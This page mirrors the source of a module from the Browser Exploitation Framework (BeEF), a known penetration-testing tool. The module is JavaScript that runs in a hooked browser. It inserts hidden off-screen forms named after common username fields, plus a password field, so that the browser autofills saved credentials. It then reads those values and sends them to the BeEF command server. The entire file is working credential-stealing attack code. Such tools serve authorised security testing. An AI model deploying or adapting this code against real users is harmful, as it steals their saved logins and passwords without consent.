Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/hooked_origin/get_autocomplete_creds/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
get_form_data = function(form_name) {
10
var f = document.getElementById(form_name);
11
var results = '';
12
for(i=0; i<f.elements.length; i++) {
13
var k = f.elements[i].id;
14
var v = f.elements[i].value;
15
if (v != '') {
16
results += k + '=' + v + '&';
17
}
18
}
19
20
if (results == '') {
21
beef.debug("[Get Autocomplete Creds] Found no autocomplete credentials");
22
return;
23
}
24
25
beef.debug("[Get Autocomplete Creds] Found autocomplete data: '" + results + "'");
26
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'results=' + results, beef.are.status_success());
27
}
28
29
create_form = function(input_name) {
30
var f = document.createElement("form");
31
f.setAttribute("id", "get_autocomplete_" + input_name + "_<%= @command_id %>");
32
f.setAttribute("style", "position:absolute;visibility:hidden;top:-1000px;left:-1000px;width:1px;height:1px;border:none;");
33
34
var u_input = document.createElement('input');
35
u_input.setAttribute("id", input_name);
36
u_input.setAttribute("name", input_name);
37
u_input.setAttribute("style", "position:absolute;visibility:hidden;top:-1000px;left:-1000px;width:1px;height:1px;border:none;");
38
u_input.setAttribute("type", "text");
39
f.appendChild(u_input);
40
41
var p_input = document.createElement('input');
42
p_input.setAttribute("id", "password");
43
p_input.setAttribute("name", "password");
44
p_input.setAttribute("style", "position:absolute;visibility:hidden;top:-1000px;left:-1000px;width:1px;height:1px;border:none;");
45
p_input.setAttribute("type", "password");
46
f.appendChild(p_input);
47
48
document.body.appendChild(f);
49
}
50
51
var inputs = [
52
'user',
53
'uname',
54
'username',
55
'user_name',
56
'login',
57
'loginname',
58
'login_name',
59
'email',
60
'emailaddress',
61
'email_address',
62
'session[username_or_email]',
63
'name'
64
];
65
66
beef.debug("[Get Autocomplete Creds] Creating forms ...");
67
68
for(i=0; i<inputs.length; i++) {
69
var input_name = inputs[i];
70
create_form(input_name);
71
setTimeout("get_form_data('get_autocomplete_" + input_name + "_<%= @command_id %>'); document.body.removeChild(document.getElementById('get_autocomplete_" + input_name + "_<%= @command_id %>'));", 2000);
72
}
73
});
74
75
76